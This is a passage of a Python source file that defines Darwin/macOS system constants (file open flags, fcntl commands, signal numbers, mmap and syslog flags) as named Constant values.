Constant('IPC_EXCL',0o002000)\nIPC_NOWAIT = Constant('IPC_NOWAIT',0o004000)\nIPC_RMID = Constant('IPC_RMID',0)\nIPC_SET = Constant('IPC_SET',1)\nIPC_STAT = Constant('IPC_STAT',2)\nIPC_R = Constant('IPC_R',0o000400)\nIPC_W = Constant('IPC_W',0o000200)\nIPC_M = Constant('IPC_M',0o010000)\nO_RDONLY = Constant('O_RDONLY',0x0000)\nO_WRONLY = Constant('O_WRONLY',0x0001)\nO_RDWR = Constant('O_RDWR',0x0002)\nO_ACCMODE = Constant('O_ACCMODE',0x0003)\nFREAD = Constant('FREAD',0x00000001)\nFWRITE = Constant('FWRITE',0x00000002)\nO_NONBLOCK = Constant('O_NONBLOCK',0x00000004)\nO_APPEND = Constant('O_APPEND',0x00000008)\nO_SHLOCK = Constant('O_SHLOCK',0x00000010)\nO_EXLOCK = Constant('O_EXLOCK',0x00000020)\nO_ASYNC = Constant('O_ASYNC',0x00000040)\nO_NOFOLLOW = Constant('O_NOFOLLOW',0x00000100)\nO_CREAT = Constant('O_CREAT',0x00000200)\nO_TRUNC = Constant('O_TRUNC',0x00000400)\nO_EXCL = Constant('O_EXCL',0x00000800)\nFMARK = Constant('FMARK',0x00001000)\nFDEFER = Constant('FDEFER',0x00002000)\nFWASLOCKED = Constant('FWASLOCKED',0x00004000)\nO_EVTONLY = Constant('O_EVTONLY',0x00008000)\nFWASWRITTEN = Constant('FWASWRITTEN',0x00010000)\nO_NOCTTY = Constant('O_NOCTTY',0x00020000)\nFNOCACHE = Constant('FNOCACHE',0x00040000)\nFNORDAHEAD = Constant('FNORDAHEAD',0x00080000)\nO_DIRECTORY = Constant('O_DIRECTORY',0x00100000)\nO_SYMLINK = Constant('O_SYMLINK',0x00200000)\nFNODIRECT = Constant('FNODIRECT',0x00800000)\nO_CLOEXEC = Constant('O_CLOEXEC',0x01000000)\nFENCRYPTED = Constant('FENCRYPTED',0x02000000)\nFSINGLE_WRITER = Constant('FSINGLE_WRITER',0x04000000)\nO_CLOFORK = Constant('O_CLOFORK',0x08000000)\nFUNENCRYPTED = Constant('FUNENCRYPTED',0x10000000)\nO_NOFOLLOW_ANY = Constant('O_NOFOLLOW_ANY',0x20000000)\nO_EXEC = Constant('O_EXEC',0x40000000)\nAT_EACCESS = Constant('AT_EACCESS',0x0010)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x0020)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x0040)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x0080)\nAT_REALDEV = Constant('AT_REALDEV',0x0200)\nAT_FDONLY = Constant('AT_FDONLY',0x0400)\nAT_SYMLINK_NOFOLLOW_ANY = Constant('AT_SYMLINK_NOFOLLOW_ANY',0x0800)\nO_DP_GETRAWENCRYPTED = Constant('O_DP_GETRAWENCRYPTED',0x0001)\nO_DP_GETRAWUNENCRYPTED = Constant('O_DP_GETRAWUNENCRYPTED',0x0002)\nO_DP_AUTHENTICATE = Constant('O_DP_AUTHENTICATE',0x0004)\nCPF_OVERWRITE = Constant('CPF_OVERWRITE',0x0001)\nCPF_IGNORE_MODE = Constant('CPF_IGNORE_MODE',0x0002)\nF_DUPFD = Constant('F_DUPFD',0)\nF_GETFD = Constant('F_GETFD',1)\nF_SETFD = Constant('F_SETFD',2)\nF_GETFL = Constant('F_GETFL',3)\nF_SETFL = Constant('F_SETFL',4)\nF_GETOWN = Constant('F_GETOWN',5)\nF_SETOWN = Constant('F_SETOWN',6)\nF_GETLK = Constant('F_GETLK',7)\nF_SETLK = Constant('F_SETLK',8)\nF_SETLKW = Constant('F_SETLKW',9)\nF_SETLKWTIMEOUT = Constant('F_SETLKWTIMEOUT',10)\nF_FLUSH_DATA = Constant('F_FLUSH_DATA',40)\nF_CHKCLEAN = Constant('F_CHKCLEAN',41)\nF_PREALLOCATE = Constant('F_PREALLOCATE',42)\nF_SETSIZE = Constant('F_SETSIZE',43)\nF_RDADVISE = Constant('F_RDADVISE',44)\nF_RDAHEAD = Constant('F_RDAHEAD',45)\nF_NOCACHE = Constant('F_NOCACHE',48)\nF_LOG2PHYS = Constant('F_LOG2PHYS',49)\nF_GETPATH = Constant('F_GETPATH',50)\nF_FULLFSYNC = Constant('F_FULLFSYNC',51)\nF_PATHPKG_CHECK = Constant('F_PATHPKG_CHECK',52)\nF_FREEZE_FS = Constant('F_FREEZE_FS',53)\nF_THAW_FS = Constant('F_THAW_FS',54)\nF_GLOBAL_NOCACHE = Constant('F_GLOBAL_NOCACHE',55)\nF_ADDSIGS = Constant('F_ADDSIGS',59)\nF_ADDFILESIGS = Constant('F_ADDFILESIGS',61)\nF_NODIRECT = Constant('F_NODIRECT',62)\nF_GETPROTECTIONCLASS = Constant('F_GETPROTECTIONCLASS',63)\nF_SETPROTECTIONCLASS = Constant('F_SETPROTECTIONCLASS',64)\nF_LOG2PHYS_EXT = Constant('F_LOG2PHYS_EXT',65)\nF_GETLKPID = Constant('F_GETLKPID',66)\nF_SETBACKINGSTORE = Constant('F_SETBACKINGSTORE',70)\nF_GETPATH_MTMINFO = Constant('F_GETPATH_MTMINFO',71)\nF_GETCODEDIR = Constant('F_GETCODEDIR',72)\nF_SETNOSIGPIPE = Constant('F_SETNOSIGPIPE',73)\nF_GETNOSIGPIPE = Constant('F_GETNOSIGPIPE',74)\nF_TRANSCODEKEY = Constant('F_TRANSCODEKEY',75)\nF_SINGLE_WRITER = Constant('F_SINGLE_WRITER',76)\nF_GETPROTECTIONLEVEL = Constant('F_GETPROTECTIONLEVEL',77)\nF_FINDSIGS = Constant('F_FINDSIGS',78)\nF_ADDFILESIGS_FOR_DYLD_SIM = Constant('F_ADDFILESIGS_FOR_DYLD_SIM',83)\nF_BARRIERFSYNC = Constant('F_BARRIERFSYNC',85)\nF_OFD_SETLK = Constant('F_OFD_SETLK',90)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',91)\nF_OFD_GETLK = Constant('F_OFD_GETLK',92)\nF_OFD_SETLKWTIMEOUT = Constant('F_OFD_SETLKWTIMEOUT',93)\nF_ADDFILESIGS_RETURN = Constant('F_ADDFILESIGS_RETURN',97)\nF_CHECK_LV = Constant('F_CHECK_LV',98)\nF_PUNCHHOLE = Constant('F_PUNCHHOLE',99)\nF_TRIM_ACTIVE_FILE = Constant('F_TRIM_ACTIVE_FILE',100)\nF_SPECULATIVE_READ = Constant('F_SPECULATIVE_READ',101)\nF_GETPATH_NOFIRMLINK = Constant('F_GETPATH_NOFIRMLINK',102)\nF_ADDFILESIGS_INFO = Constant('F_ADDFILESIGS_INFO',103)\nF_ADDFILESUPPL = Constant('F_ADDFILESUPPL',104)\nF_GETSIGSINFO = Constant('F_GETSIGSINFO',105)\nF_SETLEASE = Constant('F_SETLEASE',106)\nF_GETLEASE = Constant('F_GETLEASE',107)\nF_TRANSFEREXTENTS = Constant('F_TRANSFEREXTENTS',110)\nF_ATTRIBUTION_TAG = Constant('F_ATTRIBUTION_TAG',111)\nF_ADDSIGS_MAIN_BINARY = Constant('F_ADDSIGS_MAIN_BINARY',113)\nFCNTL_FS_SPECIFIC_BASE = Constant('FCNTL_FS_SPECIFIC_BASE',0x00010000)\nF_DUPFD_CLOEXEC = Constant('F_DUPFD_CLOEXEC',67)\nFD_CLOEXEC = Constant('FD_CLOEXEC',1)\nF_RDLCK = Constant('F_RDLCK',1)\nF_UNLCK = Constant('F_UNLCK',2)\nF_WRLCK = Constant('F_WRLCK',3)\nF_WAIT = Constant('F_WAIT',0x010)\nF_FLOCK = Constant('F_FLOCK',0x020)\nF_POSIX = Constant('F_POSIX',0x040)\nF_PROV = Constant('F_PROV',0x080)\nF_WAKE1_SAFE = Constant('F_WAKE1_SAFE',0x100)\nF_ABORT = Constant('F_ABORT',0x200)\nF_OFD_LOCK = Constant('F_OFD_LOCK',0x400)\nF_TRANSFER = Constant('F_TRANSFER',0x800)\nF_CONFINED = Constant('F_CONFINED',0x1000)\nF_ALLOCATECONTIG = Constant('F_ALLOCATECONTIG',0x00000002)\nF_ALLOCATEALL = Constant('F_ALLOCATEALL',0x00000004)\nF_ALLOCATEPERSIST = Constant('F_ALLOCATEPERSIST',0x00000008)\nF_PEOFPOSMODE = Constant('F_PEOFPOSMODE',3)\nF_VOLPOSMODE = Constant('F_VOLPOSMODE',4)\nUSER_FSIGNATURES_CDHASH_LEN = Constant('USER_FSIGNATURES_CDHASH_LEN',20)\nGETSIGSINFO_PLATFORM_BINARY = Constant('GETSIGSINFO_PLATFORM_BINARY',1)\nLOCK_SH = Constant('LOCK_SH',0x01)\nLOCK_EX = Constant('LOCK_EX',0x02)\nLOCK_NB = Constant('LOCK_NB',0x04)\nLOCK_UN = Constant('LOCK_UN',0x08)\nATTRIBUTION_NAME_MAX = Constant('ATTRIBUTION_NAME_MAX',255)\nF_CREATE_TAG = Constant('F_CREATE_TAG',0x00000001)\nF_DELETE_TAG = Constant('F_DELETE_TAG',0x00000002)\nF_QUERY_TAG = Constant('F_QUERY_TAG',0x00000004)\nO_POPUP = Constant('O_POPUP',0x80000000)\nO_ALERT = Constant('O_ALERT',0x20000000)\nS_BLKSIZE = Constant('S_BLKSIZE',512)\nUF_SETTABLE = Constant('UF_SETTABLE',0x0000ffff)\nUF_NODUMP = Constant('UF_NODUMP',0x00000001)\nUF_IMMUTABLE = Constant('UF_IMMUTABLE',0x00000002)\nUF_APPEND = Constant('UF_APPEND',0x00000004)\nUF_OPAQUE = Constant('UF_OPAQUE',0x00000008)\nUF_COMPRESSED = Constant('UF_COMPRESSED',0x00000020)\nUF_TRACKED = Constant('UF_TRACKED',0x00000040)\nUF_DATAVAULT = Constant('UF_DATAVAULT',0x00000080)\nUF_HIDDEN = Constant('UF_HIDDEN',0x00008000)\nSF_SUPPORTED = Constant('SF_SUPPORTED',0x009f0000)\nSF_SETTABLE = Constant('SF_SETTABLE',0x3fff0000)\nSF_SYNTHETIC = Constant('SF_SYNTHETIC',0xc0000000)\nSF_ARCHIVED = Constant('SF_ARCHIVED',0x00010000)\nSF_IMMUTABLE = Constant('SF_IMMUTABLE',0x00020000)\nSF_APPEND = Constant('SF_APPEND',0x00040000)\nSF_RESTRICTED = Constant('SF_RESTRICTED',0x00080000)\nSF_NOUNLINK = Constant('SF_NOUNLINK',0x00100000)\nSF_FIRMLINK = Constant('SF_FIRMLINK',0x00800000)\nSF_DATALESS = Constant('SF_DATALESS',0x40000000)\nEF_MAY_SHARE_BLOCKS = Constant('EF_MAY_SHARE_BLOCKS',0x00000001)\nEF_NO_XATTRS = Constant('EF_NO_XATTRS',0x00000002)\nEF_IS_SYNC_ROOT = Constant('EF_IS_SYNC_ROOT',0x00000004)\nEF_IS_PURGEABLE = Constant('EF_IS_PURGEABLE',0x00000008)\nEF_IS_SPARSE = Constant('EF_IS_SPARSE',0x00000010)\nEF_IS_SYNTHETIC = Constant('EF_IS_SYNTHETIC',0x00000020)\nEF_SHARES_ALL_BLOCKS = Constant('EF_SHARES_ALL_BLOCKS',0x00000040)\nMBUF_COPYALL = Constant('MBUF_COPYALL',1000000000)\n__DARWIN_NSIG = Constant('__DARWIN_NSIG',32)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGPOLL = Constant('SIGPOLL',7)\nSIGEMT = Constant('SIGEMT',7)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGBUS = Constant('SIGBUS',10)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGSYS = Constant('SIGSYS',12)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGURG = Constant('SIGURG',16)\nSIGSTOP = Constant('SIGSTOP',17)\nSIGTSTP = Constant('SIGTSTP',18)\nSIGCONT = Constant('SIGCONT',19)\nSIGCHLD = Constant('SIGCHLD',20)\nSIGTTIN = Constant('SIGTTIN',21)\nSIGTTOU = Constant('SIGTTOU',22)\nSIGIO = Constant('SIGIO',23)\nSIGXCPU = Constant('SIGXCPU',24)\nSIGXFSZ = Constant('SIGXFSZ',25)\nSIGVTALRM = Constant('SIGVTALRM',26)\nSIGPROF = Constant('SIGPROF',27)\nSIGWINCH = Constant('SIGWINCH',28)\nSIGINFO = Constant('SIGINFO',29)\nSIGUSR1 = Constant('SIGUSR1',30)\nSIGUSR2 = Constant('SIGUSR2',31)\nSIGEV_NONE = Constant('SIGEV_NONE',0)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',3)\nILL_NOOP = Constant('ILL_NOOP',0)\nILL_ILLOPC = Constant('ILL_ILLOPC',1)\nILL_ILLTRP = Constant('ILL_ILLTRP',2)\nILL_PRVOPC = Constant('ILL_PRVOPC',3)\nILL_ILLOPN = Constant('ILL_ILLOPN',4)\nILL_ILLADR = Constant('ILL_ILLADR',5)\nILL_PRVREG = Constant('ILL_PRVREG',6)\nILL_COPROC = Constant('ILL_COPROC',7)\nILL_BADSTK = Constant('ILL_BADSTK',8)\nFPE_NOOP = Constant('FPE_NOOP',0)\nFPE_FLTDIV = Constant('FPE_FLTDIV',1)\nFPE_FLTOVF = Constant('FPE_FLTOVF',2)\nFPE_FLTUND = Constant('FPE_FLTUND',3)\nFPE_FLTRES = Constant('FPE_FLTRES',4)\nFPE_FLTINV = Constant('FPE_FLTINV',5)\nFPE_FLTSUB = Constant('FPE_FLTSUB',6)\nFPE_INTDIV = Constant('FPE_INTDIV',7)\nFPE_INTOVF = Constant('FPE_INTOVF',8)\nSEGV_NOOP = Constant('SEGV_NOOP',0)\nSEGV_MAPERR = Constant('SEGV_MAPERR',1)\nSEGV_ACCERR = Constant('SEGV_ACCERR',2)\nBUS_NOOP = Constant('BUS_NOOP',0)\nBUS_ADRALN = Constant('BUS_ADRALN',1)\nBUS_ADRERR = Constant('BUS_ADRERR',2)\nBUS_OBJERR = Constant('BUS_OBJERR',3)\nTRAP_BRKPT = Constant('TRAP_BRKPT',1)\nTRAP_TRACE = Constant('TRAP_TRACE',2)\nCLD_NOOP = Constant('CLD_NOOP',0)\nCLD_EXITED = Constant('CLD_EXITED',1)\nCLD_KILLED = Constant('CLD_KILLED',2)\nCLD_DUMPED = Constant('CLD_DUMPED',3)\nCLD_TRAPPED = Constant('CLD_TRAPPED',4)\nCLD_STOPPED = Constant('CLD_STOPPED',5)\nCLD_CONTINUED = Constant('CLD_CONTINUED',6)\nPOLL_IN = Constant('POLL_IN',1)\nPOLL_OUT = Constant('POLL_OUT',2)\nPOLL_MSG = Constant('POLL_MSG',3)\nPOLL_ERR = Constant('POLL_ERR',4)\nPOLL_PRI = Constant('POLL_PRI',5)\nPOLL_HUP = Constant('POLL_HUP',6)\nSA_ONSTACK = Constant('SA_ONSTACK',0x0001)\nSA_RESTART = Constant('SA_RESTART',0x0002)\nSA_RESETHAND = Constant('SA_RESETHAND',0x0004)\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x0008)\nSA_NODEFER = Constant('SA_NODEFER',0x0010)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x0020)\nSA_SIGINFO = Constant('SA_SIGINFO',0x0040)\nSA_USERTRAMP = Constant('SA_USERTRAMP',0x0100)\nSA_64REGSET = Constant('SA_64REGSET',0x0200)\nSIG_BLOCK = Constant('SIG_BLOCK',1)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',2)\nSIG_SETMASK = Constant('SIG_SETMASK',3)\nSI_USER = Constant('SI_USER',0x10001)\nSI_QUEUE = Constant('SI_QUEUE',0x10002)\nSI_TIMER = Constant('SI_TIMER',0x10003)\nSI_ASYNCIO = Constant('SI_ASYNCIO',0x10004)\nSI_MESGQ = Constant('SI_MESGQ',0x10005)\nSS_ONSTACK = Constant('SS_ONSTACK',0x0001)\nSS_DISABLE = Constant('SS_DISABLE',0x0004)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',32768)\nSIGSTKSZ = Constant('SIGSTKSZ',131072)\n__DARWIN_MAXNAMLEN = Constant('__DARWIN_MAXNAMLEN',255)\n__DARWIN_MAXPATHLEN = Constant('__DARWIN_MAXPATHLEN',1024)\nDT_UNKNOWN = Constant('DT_UNKNOWN',0)\nDT_FIFO = Constant('DT_FIFO',1)\nDT_CHR = Constant('DT_CHR',2)\nDT_DIR = Constant('DT_DIR',4)\nDT_BLK = Constant('DT_BLK',6)\nDT_REG = Constant('DT_REG',8)\nDT_LNK = Constant('DT_LNK',10)\nDT_SOCK = Constant('DT_SOCK',12)\nDT_WHT = Constant('DT_WHT',14)\nPOSIX_SPAWN_RESETIDS = Constant('POSIX_SPAWN_RESETIDS',0x0001)\nPOSIX_SPAWN_SETPGROUP = Constant('POSIX_SPAWN_SETPGROUP',0x0002)\nPOSIX_SPAWN_SETSIGDEF = Constant('POSIX_SPAWN_SETSIGDEF',0x0004)\nPOSIX_SPAWN_SETSIGMASK = Constant('POSIX_SPAWN_SETSIGMASK',0x0008)\nPOSIX_SPAWN_SETSCHEDPARAM = Constant('POSIX_SPAWN_SETSCHEDPARAM',0x0010)\nPOSIX_SPAWN_SETSCHEDULER = Constant('POSIX_SPAWN_SETSCHEDULER',0x0020)\nPOSIX_SPAWN_SETEXEC = Constant('POSIX_SPAWN_SETEXEC',0x0040)\nPOSIX_SPAWN_START_SUSPENDED = Constant('POSIX_SPAWN_START_SUSPENDED',0x0080)\nPOSIX_SPAWN_SETSID = Constant('POSIX_SPAWN_SETSID',0x0400)\nPOSIX_SPAWN_CLOEXEC_DEFAULT = Constant('POSIX_SPAWN_CLOEXEC_DEFAULT',0x4000)\n_POSIX_SPAWN_RESLIDE = Constant('_POSIX_SPAWN_RESLIDE',0x0800)\nPOSIX_SPAWN_PCONTROL_NONE = Constant('POSIX_SPAWN_PCONTROL_NONE',0x0000)\nPOSIX_SPAWN_PCONTROL_THROTTLE = Constant('POSIX_SPAWN_PCONTROL_THROTTLE',0x0001)\nPOSIX_SPAWN_PCONTROL_SUSPEND = Constant('POSIX_SPAWN_PCONTROL_SUSPEND',0x0002)\nPOSIX_SPAWN_PCONTROL_KILL = Constant('POSIX_SPAWN_PCONTROL_KILL',0x0003)\nPOSIX_SPAWN_PANIC_ON_CRASH = Constant('POSIX_SPAWN_PANIC_ON_CRASH',0x1)\nPOSIX_SPAWN_PANIC_ON_NON_ZERO_EXIT = Constant('POSIX_SPAWN_PANIC_ON_NON_ZERO_EXIT',0x2)\nPOSIX_SPAWN_PANIC_ON_EXIT = Constant('POSIX_SPAWN_PANIC_ON_EXIT',0x4)\nPOSIX_SPAWN_PANIC_ON_SPAWN_FAIL = Constant('POSIX_SPAWN_PANIC_ON_SPAWN_FAIL',0x8)\nPROT_NONE = Constant('PROT_NONE',0x00)\nPROT_READ = Constant('PROT_READ',0x01)\nPROT_WRITE = Constant('PROT_WRITE',0x02)\nPROT_EXEC = Constant('PROT_EXEC',0x04)\nMAP_SHARED = Constant('MAP_SHARED',0x0001)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x0002)\nMAP_FIXED = Constant('MAP_FIXED',0x0010)\nMAP_RENAME = Constant('MAP_RENAME',0x0020)\nMAP_NORESERVE = Constant('MAP_NORESERVE',0x0040)\nMAP_RESERVED0080 = Constant('MAP_RESERVED0080',0x0080)\nMAP_NOEXTEND = Constant('MAP_NOEXTEND',0x0100)\nMAP_HASSEMAPHORE = Constant('MAP_HASSEMAPHORE',0x0200)\nMAP_NOCACHE = Constant('MAP_NOCACHE',0x0400)\nMAP_JIT = Constant('MAP_JIT',0x0800)\nMAP_FILE = Constant('MAP_FILE',0x0000)\nMAP_ANON = Constant('MAP_ANON',0x1000)\nMAP_RESILIENT_CODESIGN = Constant('MAP_RESILIENT_CODESIGN',0x2000)\nMAP_RESILIENT_MEDIA = Constant('MAP_RESILIENT_MEDIA',0x4000)\nMAP_32BIT = Constant('MAP_32BIT',0x8000)\nMAP_TRANSLATED_ALLOW_EXECUTE = Constant('MAP_TRANSLATED_ALLOW_EXECUTE',0x20000)\nMAP_UNIX03 = Constant('MAP_UNIX03',0x40000)\nMAP_TPRO = Constant('MAP_TPRO',0x80000)\nMCL_CURRENT = Constant('MCL_CURRENT',0x0001)\nMCL_FUTURE = Constant('MCL_FUTURE',0x0002)\nMS_ASYNC = Constant('MS_ASYNC',0x0001)\nMS_INVALIDATE = Constant('MS_INVALIDATE',0x0002)\nMS_SYNC = Constant('MS_SYNC',0x0010)\nMS_KILLPAGES = Constant('MS_KILLPAGES',0x0004)\nMS_DEACTIVATE = Constant('MS_DEACTIVATE',0x0008)\nPOSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0)\nPOSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',1)\nPOSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',2)\nPOSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',3)\nPOSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',4)\nMADV_FREE = Constant('MADV_FREE',5)\nMADV_ZERO_WIRED_PAGES = Constant('MADV_ZERO_WIRED_PAGES',6)\nMADV_FREE_REUSABLE = Constant('MADV_FREE_REUSABLE',7)\nMADV_FREE_REUSE = Constant('MADV_FREE_REUSE',8)\nMADV_CAN_REUSE = Constant('MADV_CAN_REUSE',9)\nMADV_PAGEOUT = Constant('MADV_PAGEOUT',10)\nMADV_ZERO = Constant('MADV_ZERO',11)\nMINCORE_INCORE = Constant('MINCORE_INCORE',0x1)\nMINCORE_REFERENCED = Constant('MINCORE_REFERENCED',0x2)\nMINCORE_MODIFIED = Constant('MINCORE_MODIFIED',0x4)\nMINCORE_REFERENCED_OTHER = Constant('MINCORE_REFERENCED_OTHER',0x8)\nMINCORE_MODIFIED_OTHER = Constant('MINCORE_MODIFIED_OTHER',0x10)\nMINCORE_PAGED_OUT = Constant('MINCORE_PAGED_OUT',0x20)\nMINCORE_COPIED = Constant('MINCORE_COPIED',0x40)\nMINCORE_ANONYMOUS = Constant('MINCORE_ANONYMOUS',0x80)\nB_WRITE = Constant('B_WRITE',0x00000000)\nB_READ = Constant('B_READ',0x00000001)\nB_ASYNC = Constant('B_ASYNC',0x00000002)\nB_NOCACHE = Constant('B_NOCACHE',0x00000004)\nB_DELWRI = Constant('B_DELWRI',0x00000008)\nB_LOCKED = Constant('B_LOCKED',0x00000010)\nB_PHYS = Constant('B_PHYS',0x00000020)\nB_CLUSTER = Constant('B_CLUSTER',0x00000040)\nB_PAGEIO = Constant('B_PAGEIO',0x00000080)\nB_META = Constant('B_META',0x00000100)\nB_RAW = Constant('B_RAW',0x00000200)\nB_FUA = Constant('B_FUA',0x00000400)\nB_PASSIVE = Constant('B_PASSIVE',0x00000800)\nB_IOSTREAMING = Constant('B_IOSTREAMING',0x00001000)\nB_THROTTLED_IO = Constant('B_THROTTLED_IO',0x00002000)\nB_ENCRYPTED_IO = Constant('B_ENCRYPTED_IO',0x00004000)\nB_STATICCONTENT = Constant('B_STATICCONTENT',0x00008000)\nBUF_WAIT = Constant('BUF_WAIT',0x01)\nBUF_WRITE_DATA = Constant('BUF_WRITE_DATA',0x0001)\nBUF_SKIP_META = Constant('BUF_SKIP_META',0x0002)\nBUF_INVALIDATE_LOCKED = Constant('BUF_INVALIDATE_LOCKED',0x0004)\nBUF_SKIP_NONLOCKED = Constant('BUF_SKIP_NONLOCKED',0x01)\nBUF_SKIP_LOCKED = Constant('BUF_SKIP_LOCKED',0x02)\nBUF_SCAN_CLEAN = Constant('BUF_SCAN_CLEAN',0x04)\nBUF_SCAN_DIRTY = Constant('BUF_SCAN_DIRTY',0x08)\nBUF_NOTIFY_BUSY = Constant('BUF_NOTIFY_BUSY',0x10)\nBUF_RETURNED = Constant('BUF_RETURNED',0)\nBUF_RETURNED_DONE = Constant('BUF_RETURNED_DONE',1)\nBUF_CLAIMED = Constant('BUF_CLAIMED',2)\nBUF_CLAIMED_DONE = Constant('BUF_CLAIMED_DONE',3)\nBLK_READ = Constant('BLK_READ',0x01)\nBLK_WRITE = Constant('BLK_WRITE',0x02)\nBLK_META = Constant('BLK_META',0x10)\nBLK_ONLYVALID = Constant('BLK_ONLYVALID',0x80000000)\nLOG_EMERG = Constant('LOG_EMERG',0)\nLOG_ALERT = Constant('LOG_ALERT',1)\nLOG_CRIT = Constant('LOG_CRIT',2)\nLOG_ERR = Constant('LOG_ERR',3)\nLOG_WARNING = Constant('LOG_WARNING',4)\nLOG_NOTICE = Constant('LOG_NOTICE',5)\nLOG_INFO = Constant('LOG_INFO',6)\nLOG_DEBUG = Constant('LOG_DEBUG',7)\nLOG_PRIMASK = Constant('LOG_PRIMASK',0x07)\nINTERNAL_NOPRI = Constant('INTERNAL_NOPRI',0x10)\nLOG_NFACILITIES = Constant('LOG_NFACILITIES',25)\nLOG_FACMASK = Constant('LOG_FACMASK',0x03f8)\nLOG_PID = Constant('LOG_PID',0x01)\nLOG_CONS = Constant('LOG_CONS',0x02)\nLOG_ODELAY = Constant('LOG_ODELAY',0x04)\nLOG_NDELAY = Constant('LOG_NDELAY',0x08)\nLOG_NOWAIT = Constant('LOG_NOWAIT',0x10)\nLOG_PERROR = Constant('LOG_PERROR',0x20)\nCRF_NOMEMBERD = Constant('CRF_NOMEMBERD',0x00000001)\nCRF_MAC_ENFORCE = Constant('CRF_MAC_ENFORCE',0x00000002)\nXUCRED_VERSION = Constant('XUCRED_VERSION',0)\nDK_FEATURE_BARRIER = Constant('DK_FEATURE_BARRIER',0x00000002)\nDK_FEATURE_PRIORITY = Constant('DK_FEATURE_PRIORITY',0x00000004)\nDK_FEATURE_UNMAP = Constant('DK_FEATURE_UNMAP',0x00000010)\nDK_SYNCHRONIZE_OPTION_BARRIER = Constant('DK_SYNCHRONIZE_OPTION_BARRIER',0x00000002)\nDK_CORESTORAGE_PIN_YOUR_METADATA = Constant('DK_CORESTORAGE_PIN_YOUR_METADATA',0x00000001)\nDK_CORESTORAGE_ENABLE_HOTFILES = Constant('DK_CORESTORAGE_ENABLE_HOTFILES',0x00000002)\nDK_CORESTORAGE_PIN_YOUR_SWAPFILE = Constant('DK_CORESTORAGE_PIN_YOUR_SWAPFILE',0x00000004)\nDK_PROVISION_TYPE_MAPPED = Constant('DK_PROVISION_TYPE_MAPPED',0x00)\nDK_PROVISION_TYPE_DEALLOCATED = Constant('DK_PROVISION_TYPE_DEALLOCATED',0x01)\nDK_PROVISION_TYPE_ANCHORED = Constant('DK_PROVISION_TYPE_ANCHORED',0x02)\nDK_LOCATION_INTERNAL = Constant('DK_LOCATION_INTERNAL',0x00000000)\nDK_LOCATION_EXTERNAL = Constant('DK_LOCATION_EXTERNAL',0x00000001)\nDK_FEATURE_FORCE_UNIT_ACCESS = Constant('DK_FEATURE_FORCE_UNIT_ACCESS',0x00000001)\nDK_ENCRYPTION_TYPE_AES_CBC = Constant('DK_ENCRYPTION_TYPE_AES_CBC',1)\nDK_ENCRYPTION_TYPE_AES_XEX = Constant('DK_ENCRYPTION_TYPE_AES_XEX',2)\nDK_ENCRYPTION_TYPE_AES_XTS = Constant('DK_ENCRYPTION_TYPE_AES_XTS',3)\nDK_TIER_MASK = Constant('DK_TIER_MASK',0xC0)\nDK_TIER_SHIFT = Constant('DK_TIER_SHIFT',6)\nSOL_LOCAL = Constant('SOL_LOCAL',0)\nLOCAL_PEERCRED = Constant('LOCAL_PEERCRED',0x001)\nLOCAL_PEERPID = Constant('LOCAL_PEERPID',0x002)\nLOCAL_PEEREPID = Constant('LOCAL_PEEREPID',0x003)\nLOCAL_PEERUUID = Constant('LOCAL_PEERUUID',0x004)\nLOCAL_PEEREUUID = Constant('LOCAL_PEEREUUID',0x005)\nLOCAL_PEERTOKEN = Constant('LOCAL_PEERTOKEN',0x006)\n_SYS_TIMEX_H_ = Constant('_SYS_TIMEX_H_',1)\nNTP_API = Constant('NTP_API',4)\nMINSEC = Constant('MINSEC',256)\nMAXSEC = Constant('MAXSEC',2048)\nMAXTC = Constant('MAXTC',10)\nMOD_OFFSET = Constant('MOD_OFFSET',0x0001)\nMOD_FREQUENCY = Constant('MOD_FREQUENCY',0x0002)\nMOD_MAXERROR = Constant('MOD_MAXERROR',0x0004)\nMOD_ESTERROR = Constant('MOD_ESTERROR',0x0008)\nMOD_STATUS = Constant('MOD_STATUS',0x0010)\nMOD_TIMECONST = Constant('MOD_TIMECONST',0x0020)\nMOD_PPSMAX = Constant('MOD_PPSMAX',0x0040)\nMOD_TAI = Constant('MOD_TAI',0x0080)\nMOD_MICRO = Constant('MOD_MICRO',0x1000)\nMOD_NANO = Constant('MOD_NANO',0x2000)\nMOD_CLKB = Constant('MOD_CLKB',0x4000)\nMOD_CLKA = Constant('MOD_CLKA',0x8000)\nSTA_PLL = Constant('STA_PLL',0x0001)\nSTA_PPSFREQ = Constant('STA_PPSFREQ',0x0002)\nSTA_PPSTIME = Constant('STA_PPSTIME',0x0004)\nSTA_FLL = Constant('STA_FLL',0x0008)\nSTA_INS = Constant('STA_INS',0x0010)\nSTA_DEL = Constant('STA_DEL',0x0020)\nSTA_UNSYNC = Constant('STA_UNSYNC',0x0040)\nSTA_FREQHOLD = Constant('STA_FREQHOLD',0x0080)\nSTA_PPSSIGNAL = Constant('STA_PPSSIGNAL',0x0100)\nSTA_PPSJITTER = Constant('STA_PPSJITTER',0x0200)\nSTA_PPSWANDER = Constant('STA_PPSWANDER',0x0400)\nSTA_PPSERROR = 